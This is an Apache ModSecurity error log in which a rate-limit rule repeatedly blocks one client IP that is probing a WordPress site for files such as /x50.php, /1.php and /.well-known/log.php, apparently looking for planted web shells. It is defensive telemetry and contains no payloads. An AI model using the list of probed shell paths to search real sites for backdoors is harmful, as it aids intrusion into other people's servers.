[Thu Dec 25 19:12:38.288138 2025] [:error] [pid 64973:tid 65013] [client 4.241.194.62:55160] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU0cJuqHYEKj6K8dhUEyTQAAAok"]
[Thu Dec 25 19:12:39.096008 2025] [:error] [pid 64973:tid 65012] [client 4.241.194.62:55154] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU0cJ-qHYEKj6K8dhUEyTwAAAog"]
[Thu Dec 25 19:12:40.151293 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:53935] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU0cKGPy2DpAzW_4a2hGKwAAAEQ"]
[Thu Dec 25 19:12:40.923086 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:11748] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU0cKGPy2DpAzW_4a2hGLwAAAEQ"]
[Thu Dec 25 19:12:41.611135 2025] [:error] [pid 31569:tid 31593] [client 4.241.194.62:12355] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU0cKWiSFBH7Ee_uldXd4QAAABQ"]
[Thu Dec 25 19:12:42.588788 2025] [:error] [pid 31571:tid 31635] [client 4.241.194.62:38529] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aU0cKu7e_lLK2X5wU8m9ogAAAIg"]
[Thu Dec 25 19:12:43.608819 2025] [:error] [pid 64909:tid 64927] [client 4.241.194.62:55109] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aU0cKx45RBsBaT7_YDVeeAAAAc0"]
[Thu Dec 25 19:12:44.163769 2025] [:error] [pid 31569:tid 31587] [client 4.241.194.62:53897] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aU0cLGiSFBH7Ee_uldXd4wAAAA4"]
[Thu Dec 25 19:12:45.445327 2025] [:error] [pid 64975:tid 65066] [client 4.241.194.62:29374] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aU0cLSXyboSuXIThjj6RcgAAAwg"]
[Thu Dec 25 19:12:46.250042 2025] [:error] [pid 64971:tid 64999] [client 4.241.194.62:29370] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU0cLqqyk1GkxTrDJixHHAAAAlY"]
[Thu Dec 25 19:12:47.171869 2025] [:error] [pid 31569:tid 31575] [client 4.241.194.62:53901] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU0cL2iSFBH7Ee_uldXd5gAAAAI"]
[Thu Dec 25 19:12:47.864787 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:60417] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU0cL2Py2DpAzW_4a2hGOwAAAEQ"]
[Thu Dec 25 19:12:48.259945 2025] [:error] [pid 31570:tid 31603] [client 4.241.194.62:55129] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU0cMGPy2DpAzW_4a2hGPAAAAEM"]
[Thu Dec 25 19:12:48.753056 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:53936] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aU0cMGiSFBH7Ee_uldXd6AAAAAQ"]
[Thu Dec 25 19:12:49.120426 2025] [:error] [pid 64909:tid 64935] [client 4.241.194.62:53910] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aU0cMR45RBsBaT7_YDVefQAAAdU"]
[Thu Dec 25 19:12:49.408030 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:53907] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aU0cMarrTp0EWNyhaIRZEQAAAQw"]
[Thu Dec 25 19:12:49.814003 2025] [:error] [pid 2996:tid 3012] [client 4.241.194.62:55138] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aU0cMarrTp0EWNyhaIRZEwAAAQ4"]
[Thu Dec 25 19:12:50.141067 2025] [:error] [pid 64973:tid 65024] [client 4.241.194.62:55146] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU0cMuqHYEKj6K8dhUEyVwAAApQ"]
[Thu Dec 25 19:12:50.551498 2025] [:error] [pid 31571:tid 31651] [client 4.241.194.62:29345] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU0cMu7e_lLK2X5wU8m9qQAAAJg"]
[Thu Dec 25 19:12:50.880049 2025] [:error] [pid 64971:tid 64984] [client 4.241.194.62:55145] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU0cMqqyk1GkxTrDJixHIQAAAkc"]
[Thu Dec 25 19:12:51.145293 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:29355] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU0cM2Py2DpAzW_4a2hGUwAAAEQ"]
[Thu Dec 25 19:12:51.512358 2025] [:error] [pid 64971:tid 64988] [client 4.241.194.62:12413] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aU0cM6qyk1GkxTrDJixHIwAAAks"]
[Thu Dec 25 19:12:51.769981 2025] [:error] [pid 64879:tid 64899] [client 4.241.194.62:55115] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aU0cMzalwsF0a14CkLOiVQAAAZI"]
[Thu Dec 25 19:12:52.255424 2025] [:error] [pid 64879:tid 64904] [client 4.241.194.62:29366] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aU0cNDalwsF0a14CkLOiVwAAAZc"]
[Thu Dec 25 19:12:52.898950 2025] [:error] [pid 31571:tid 31638] [client 4.241.194.62:53951] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aU0cNO7e_lLK2X5wU8m9rQAAAIs"]
[Thu Dec 25 19:12:53.255079 2025] [:error] [pid 64973:tid 65005] [client 4.241.194.62:11744] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU0cNeqHYEKj6K8dhUEyXQAAAoE"]
[Thu Dec 25 19:12:53.626969 2025] [:error] [pid 64909:tid 64919] [client 4.241.194.62:39266] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU0cNR45RBsBaT7_YDVehAAAAcU"]
[Thu Dec 25 19:12:53.985251 2025] [:error] [pid 31655:tid 31659] [client 4.241.194.62:30725] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU0cNZozPMk9HPtIJPOfWQAAAMI"]
[Thu Dec 25 19:12:54.534148 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:11757] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU0cNmiSFBH7Ee_uldXd7gAAABU"]
[Thu Dec 25 19:12:55.095599 2025] [:error] [pid 64974:tid 65045] [client 4.241.194.62:38547] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aU0cNzhp3-5Lb4YPPN-segAAAs4"]
[Thu Dec 25 19:12:55.354649 2025] [:error] [pid 64909:tid 64918] [client 4.241.194.62:53893] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aU0cNx45RBsBaT7_YDVehwAAAcQ"]
[Thu Dec 25 19:12:55.711772 2025] [:error] [pid 64974:tid 65048] [client 4.241.194.62:39282] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aU0cNzhp3-5Lb4YPPN-sfgAAAtE"]
[Thu Dec 25 19:12:55.986694 2025] [:error] [pid 31569:tid 31583] [client 4.241.194.62:30743] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aU0cN2iSFBH7Ee_uldXd8QAAAAo"]
[Thu Dec 25 19:12:56.392663 2025] [:error] [pid 64909:tid 64922] [client 4.241.194.62:55131] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU0cOB45RBsBaT7_YDVeiAAAAcg"]
[Thu Dec 25 19:12:56.891838 2025] [:error] [pid 64975:tid 65069] [client 4.241.194.62:55153] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU0cOCXyboSuXIThjj6RiAAAAws"]
[Thu Dec 25 19:12:57.305498 2025] [:error] [pid 31570:tid 31611] [client 4.241.194.62:11726] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU0cOWPy2DpAzW_4a2hGWwAAAEs"]
[Thu Dec 25 19:12:57.902447 2025] [:error] [pid 64879:tid 64904] [client 4.241.194.62:29359] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU0cOTalwsF0a14CkLOiXgAAAZc"]
[Thu Dec 25 19:12:58.343690 2025] [:error] [pid 64820:tid 64826] [client 4.241.194.62:29350] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aU0cOsSuTdTvkipi5406nwAAAUI"]
[Thu Dec 25 19:12:58.853445 2025] [:error] [pid 31569:tid 31590] [client 4.241.194.62:11734] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aU0cOmiSFBH7Ee_uldXd9wAAABE"]
[Thu Dec 25 19:12:59.586704 2025] [:error] [pid 64820:tid 64843] [client 4.241.194.62:11771] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aU0cO8SuTdTvkipi5406pwAAAVM"]
[Thu Dec 25 19:13:00.771699 2025] [:error] [pid 31655:tid 31679] [client 4.241.194.62:38571] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aU0cPJozPMk9HPtIJPOfYgAAANY"]
[Thu Dec 25 19:13:01.571146 2025] [:error] [pid 64820:tid 64836] [client 4.241.194.62:38550] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aU0cPcSuTdTvkipi5406rgAAAUw"]
[Thu Dec 25 19:13:01.937120 2025] [:error] [pid 64974:tid 65055] [client 4.241.194.62:11738] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aU0cPThp3-5Lb4YPPN-sgwAAAtg"]
[Thu Dec 25 19:13:02.256740 2025] [:error] [pid 64910:tid 64948] [client 4.241.194.62:53915] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aU0cPues2ob7vYHBZqB1NAAAAgc"]
[Thu Dec 25 19:13:02.666948 2025] [:error] [pid 64974:tid 65053] [client 4.241.194.62:29372] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aU0cPjhp3-5Lb4YPPN-shAAAAtY"]
[Thu Dec 25 19:13:02.948772 2025] [:error] [pid 31570:tid 31611] [client 4.241.194.62:12352] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU0cPmPy2DpAzW_4a2hGYgAAAEs"]
[Thu Dec 25 19:13:03.284447 2025] [:error] [pid 64971:tid 64998] [client 4.241.194.62:53899] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU0cP6qyk1GkxTrDJixHLAAAAlU"]
[Thu Dec 25 19:13:03.574126 2025] [:error] [pid 64879:tid 64896] [client 4.241.194.62:12377] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU0cPzalwsF0a14CkLOiYQAAAY8"]
[Thu Dec 25 19:13:03.923157 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:53905] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU0cP2iSFBH7Ee_uldXd-gAAABY"]
[Thu Dec 25 19:13:04.370394 2025] [:error] [pid 64820:tid 64833] [client 4.241.194.62:29804] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aU0cQMSuTdTvkipi5406swAAAUk"]
[Thu Dec 25 19:13:04.661675 2025] [:error] [pid 64975:tid 65080] [client 4.241.194.62:29782] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aU0cQCXyboSuXIThjj6RkAAAAxY"]
[Thu Dec 25 19:13:04.960546 2025] [:error] [pid 64974:tid 65032] [client 4.241.194.62:11717] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aU0cQDhp3-5Lb4YPPN-shgAAAsE"]
[Thu Dec 25 19:13:05.374181 2025] [:error] [pid 64973:tid 65019] [client 4.241.194.62:11742] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aU0cQeqHYEKj6K8dhUEyZgAAAo8"]
[Thu Dec 25 19:13:05.701527 2025] [:error] [pid 31655:tid 31680] [client 4.241.194.62:38563] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU0cQZozPMk9HPtIJPOfZwAAANc"]
[Thu Dec 25 19:13:06.003204 2025] [:error] [pid 31569:tid 31597] [client 4.241.194.62:11761] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU0cQmiSFBH7Ee_uldXd_gAAABg"]
[Thu Dec 25 19:13:06.453399 2025] [:error] [pid 31571:tid 31636] [client 4.241.194.62:29353] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU0cQu7e_lLK2X5wU8m9tgAAAIk"]
